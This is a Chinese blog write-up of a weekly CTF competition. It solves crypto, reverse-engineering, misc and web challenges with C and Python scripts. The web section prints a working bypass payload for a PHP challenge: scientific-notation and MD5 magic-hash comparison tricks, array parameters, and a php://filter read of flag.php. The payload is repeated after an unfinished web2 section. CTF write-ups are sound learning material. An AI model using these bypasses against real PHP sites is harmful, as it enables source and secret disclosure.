周赛wp1

文章讲述了多个网络安全挑战,包括基于凯撒密码的加密解密问题,C语言实现的字符串反转和字符替换,程序调试与EIP修改,以及通过二维码和Linux图形工具解析隐藏信息。此外,还涉及了ZIP文件的密码破解和PHP代码中利用弱比较与MD5绕过的技巧。
摘要由CSDN通过智能技术生成

CRYPTO

1.Keyed Caesar

key里字母在字母表中的数字就是偏移量

注意凯撒通常只针对二十六个字母

2.找找看

image-20230226184700958

REVERSE

1.re1

image-20230225115535710

3替换成e 4替换成a结束

flag = "{34sy_r3v3rs3}"
flag=flag.replace("3","e").replace("4","a")
print("SLsec" + flag)

2.re2

image-20230225134651061

第一种方法

#include <stdio.h>
#include <string.h>
int main()
{
    char str1[64] = "QJqcaypc]fcjjm{";
    //char flag[64] = "SLsec{re_hello}";
    int len = strlen(str1);
    for(int i=0;i<len;i++)
    {
        if ( str1[i] > 94 && str1[i] <= 96 || str1[i] > 62 && str1[i] <= 64 )
        {
            str1[i] -= 24;  
        }
        else 
        {
            str1[i] += 2;
        }
        
        printf("%c",str1[i]);
    }
    return 0;
     
}

第二种方法是爆破

#include <stdio.h>
#include <string.h>
int main()
{
    char Str1[16] = "QJqcaypc]fcjjm{";
    char flag[16] = "";
    int i,j = 0;
    for(i=0;i<16;i++)
    {
        for(j=65;j<126;j++)
        {
            flag[i] = j;
            if ( flag[i] > 96 && flag[i] <= 98 || flag[i] > 64 && flag[i] <= 66 )
            {
                flag[i] += 24;
            }
            else
            {
                flag[i] -= 2;
            }
            if(flag[i] == Str1[i])
            {
                printf("%c",j);
            }
        }
    
    }
​
    return 0;
     
}

3.re3

image-20230226013043966

主函数啥都没有,在函数列表发现了名为ques的可疑函数,经过调试程序并没有执行这个函数,思路是修改EIP即可

image-20230226013109781

ques函数地址00401520

image-20230226013328290

修改之后按F9执行就可

image-20230226013418305

HACKIT4FUN

MISC

1.神奇的二维码

with open('hex.txt', 'r') as h:
    h = h.read()
with open('./ascii.txt', 'a') as a:
    for i in range(0, len(h), 2):
        tmp = '0x'+h[i]+h[i+1]
        tmp = int(tmp, base=16)
        if chr(tmp) != '(' and chr(tmp) != ')':
            a.write(chr(tmp))
import matplotlib.pyplot as plt
import numpy as np
x, y = np.loadtxt('./ascii.txt', delimiter=',', unpack=True)
plt.plot(x, y,  '.')
plt.show()

010打开图片发现很多16进制数据,提取出来转化为字符串就是坐标,再利用坐标画个二维码就可

第二种方法更简单,在linux利用gnuplot插件就能画图

image-20230226184450729

2.re4

明文爆破压缩包

image-20230226191238175

随后用IDA打开看主函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  FILE *stream; // ST08_8
  signed int i; // [rsp+4h] [rbp-2Ch]
  char ptr[24]; // [rsp+10h] [rbp-20h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]
​
  v7 = __readfsqword(40u);
  stream = fopen("flag", "r");
  fread(ptr, 1uLL, 20uLL, stream);
  fclose(stream);
  for ( i = 1; i <= 19; ++i )
  {
    if ( i & 1 )
      printf("%ld\n", (unsigned int)(ptr[i] << i));
    else
      printf("%ld\n", (unsigned int)(i * ptr[i]));
  }
  return 0;
}
​

没什么加密,顺着逆一下就出了

脚本

#include <stdio.h>
#include <string.h>
int main()
{
     int arr[20] = { 0, 198,232,816,200,1536,300,6144,984,51200,570,92160,1200,565248,756,1474560,800,6291456,1782,65536000};
    //a[0]补0保证正常循环
    char c;
    for ( int i = 1; i <= 19; i++)
    {
        if ((i & 1))
            c = (arr[i] >> i);
        else
            c = (arr[i] / i);
        putchar(c);
    }
    return 0;

3.小狗玩偶

flag总共两部分,16进制文本里能看到一部分,另一部分在LSB隐写

image-20230226185133964

image-20230226185302457

4.zip

有密码尝试一下确定不是伪加密,爆破4到7为纯数字成功,打开压缩包是一串编码,16进制解一下就是flag

image-20230226185650652

WEB

1.web1

<?PHP

show_source(FILE);

ini_set("allow_url_include","on");

error_reporting(0);

$file=$_GET['file'];

$q=$_GET['q'];

$a = $GET['a'];

$b = $_GET['b'];

$c = $_POST['c'];

$v = $_POST['v'];

if($q==1 && $q+1 !== 2){ #q==弱比较,不同格式会先转换成同类型再比较,q!+1!==2是强比较必须类型数值完全相同科学计数法绕过即可

if($a != $b && md5($a) == md5($b)){#md5绕过

让其加密后oe开头即可,问你知道为什么马?

if($POST['c']!==$POST['v']&&md5($POST['c'])===md5($POST['v'])){ 强比较若: 假===假 => 真c[]=1&v[]=2

if(isset($file)){使用php伪协议读取flag.php即可

image-20230226190410270

echo 'flag flag.php涓 ';

}else{

echo "file";

}

}

}

}

include_once($file);

?>

GET: /?q=0.1e1&a=QNKCDZO&b=s155964671a&file=php://filter/convert.base64-encode/resource=flag.php

POST : c[]=2&v[]=3

2.web2

首先随便上传一个文件看看提示

image-20230226185942853

规定了上传的文件名

image-20230226185952578

上传内容要有givemeflag,直接再bp加

?>

GET: /?q=0.1e1&a=QNKCDZO&b=s155964671a&file=php://filter/convert.base64-encode/resource=flag.php

POST : c[]=2&v[]=3

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值